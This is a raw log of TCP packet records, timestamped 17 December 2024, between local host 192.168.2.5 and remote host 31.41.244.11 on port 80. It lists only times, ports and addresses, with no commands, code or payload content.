Dec 17, 2024 08:03:17.015835047 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:17.016237974 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:17.016309023 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:17.135561943 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.348537922 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.348613977 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.348651886 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.348695993 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.348702908 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.348737955 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.348773003 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.348782063 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.348782063 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.348782063 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.348808050 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.348815918 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.348841906 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.348853111 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.348879099 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.348882914 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.348916054 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.348918915 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.348962069 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.468910933 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.468992949 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.468996048 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.469082117 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.472959042 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.473047972 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.540371895 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.540431976 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.540529013 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.540572882 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.544560909 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.544627905 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.544622898 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.544672966 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.552900076 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.552957058 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.552974939 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.553013086 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.561376095 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.561434984 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.561436892 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.561484098 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.569772005 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.569827080 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.569840908 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.569892883 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.578129053 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.578155994 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.578175068 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.578207970 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.586543083 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.586601973 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.586697102 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.586750031 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.594887018 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.594939947 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.594989061 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.595031023 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.603302956 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.603368998 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.603423119 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.603471994 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.611635923 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.611731052 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.611735106 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.611779928 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.619740963 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.619806051 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.619837046 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.619885921 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.660217047 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.660278082 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.660279036 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.660343885 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.732597113 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.732649088 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.732774973 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.732812881 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.735300064 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.735331059 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.735343933 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.735371113 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.739717007 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.739772081 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.739891052 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.739973068 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.744556904 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.744574070 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.744611025 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.744632006 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.749084949 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.749133110 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.749242067 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.749284983 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.753993034 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.754040956 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.754142046 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.754187107 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.758534908 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.758554935 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.758590937 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.758625031 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.763269901 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.763287067 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.763345957 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.763345957 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.768059015 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.768105984 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.768121958 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.768146992 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.772831917 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.772876024 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.772891045 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.772917986 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.777349949 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.777370930 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.777404070 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.777430058 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.781728029 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.781781912 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.781867981 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.781949997 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.786649942 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.786709070 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.786974907 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.787023067 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.791301966 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.791366100 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.791368008 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.791415930 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.794981956 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.795012951 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.795058966 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.795058966 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.798387051 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.798441887 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.798504114 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.798552036 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.802162886 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.802225113 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.802283049 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.802334070 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.805715084 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.805775881 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.805804014 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.805857897 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.809346914 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.809406042 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.809506893 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.809557915 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.813021898 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.813057899 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.813077927 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.813110113 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.816662073 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.816720963 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.816734076 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.816787004 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.820278883 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.820333958 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.924865961 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.924936056 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.924952984 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.925004959 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.926196098 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.926259041 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.926330090 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.926393986 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.929172039 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.929223061 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.929383039 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.929435015 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.932017088 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.932075977 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.932141066 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.932195902 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.934885025 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.934937954 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.934964895 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.935024023 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.937690973 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.937803984 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.937805891 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.937865973 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.940423965 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.940481901 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.940543890 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.940599918 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.943110943 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.943170071 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.943228006 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.943279982 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.945725918 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.945786953 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.945869923 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.945930004 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.948354959 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.948429108 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.948479891 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.948532104 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.950941086 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.950999022 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.951082945 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.951133966 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.953550100 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.953608990 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.953677893 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.953738928 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.956141949 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.956229925 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.956234932 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.956286907 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.958774090 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.958848953 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.958935022 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.958986998 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.961349964 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.961410999 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.961472034 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.961519957 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.964019060 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.964073896 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.964152098 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.964202881 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.966566086 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.966619015 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.966677904 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.966730118 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.969247103 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.969296932 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.969350100 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.969396114 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.971796989 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.971843004 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.971919060 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.971970081 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.974390984 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.974442005 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.974518061 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.974570990 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.977232933 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.977288008 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.977349043 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.977401972 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.979584932 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.979638100 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.979701996 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.979757071 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.982187986 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.982235909 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.982331991 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.982383966 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.984771967 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.984822035 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.984997988 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.985044956 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.987400055 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.987476110 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.987530947 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.987580061 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.990014076 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.990065098 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.990259886 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.990313053 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.992610931 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.992655039 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.992697001 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.992743015 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.995219946 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.995270014 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.995343924 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.995393991 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.997860909 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.997910976 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:18.997967958 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:18.998008013 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.000524044 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.000583887 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.000600100 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.000704050 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.003026962 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.003072023 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.003190994 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.003235102 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.005585909 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.005630016 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.005712032 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.005755901 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.008270025 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.008316994 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.116921902 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.116976023 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.117017984 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.117063999 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.117959023 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.118007898 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.118328094 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.118367910 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.118426085 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.118468046 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.120512962 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.120556116 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.120651007 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.120695114 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.122716904 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.122755051 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.122809887 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.122853994 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.124869108 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.124912024 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.124959946 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.125000000 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.127024889 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.127075911 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.127156019 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.127207041 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.129129887 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.129179001 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.129206896 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.129246950 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.131134987 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.131186962 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.131223917 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.131283998 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.133198023 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.133245945 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.133322954 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.133366108 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.135186911 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.135251999 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.135329962 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.135374069 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.137254000 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.137303114 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.137325048 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.137396097 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.139246941 CET	80	49844	31.41.244.11	192.168.2.5
